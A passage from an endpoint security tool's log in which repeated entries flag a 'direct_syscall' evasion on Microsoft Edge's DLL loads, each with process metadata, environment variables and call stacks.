TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdc8ef682 C:\Windows\System32\advapi32.dll!GetLengthSid|0x7ffcdc900f51 C:\Windows\System32\advapi32.dll!QueryUserServiceNameForContext|0x7ffcdc8ee058 C:\Windows\System32\advapi32.dll!GetSecurityInfo|0x7ff7cf77f7d3 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf77f67d C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf77f54f C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf770249 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:16+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4169903 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.3564287 +0100 CET + Params: base_address➜ 7ffc8cb70000, checksum➜ 301876964, default_address➜ 7ffc8cb70000, file_path➜ C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll, image_size➜ 303439872, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ff7cf7700bf C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4172938 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.3580447 +0100 CET + Params: base_address➜ 7ffccacd0000, checksum➜ 263815, default_address➜ 7ffccacd0000, file_path➜ C:\Windows\System32\winmm.dll, image_size➜ 217088, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcdea6cf87 C:\Windows\System32\ntdll.dll!RtlFreeActivationContextStack|0x7ffcde9f63aa C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ff7cf7700bf C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4173047 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.3647484 +0100 CET + Params: base_address➜ 7ffcdd120000, checksum➜ 1923284, default_address➜ 7ffcdd120000, file_path➜ C:\Windows\System32\user32.dll, image_size➜ 1863680, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Parent name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Parent cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ff7cf7fc785 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf81bb84 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf9e71c4 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!GetPakFileHashes|0x7ff7cf8573b1 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ff7cf8572c1 C:\Program Files 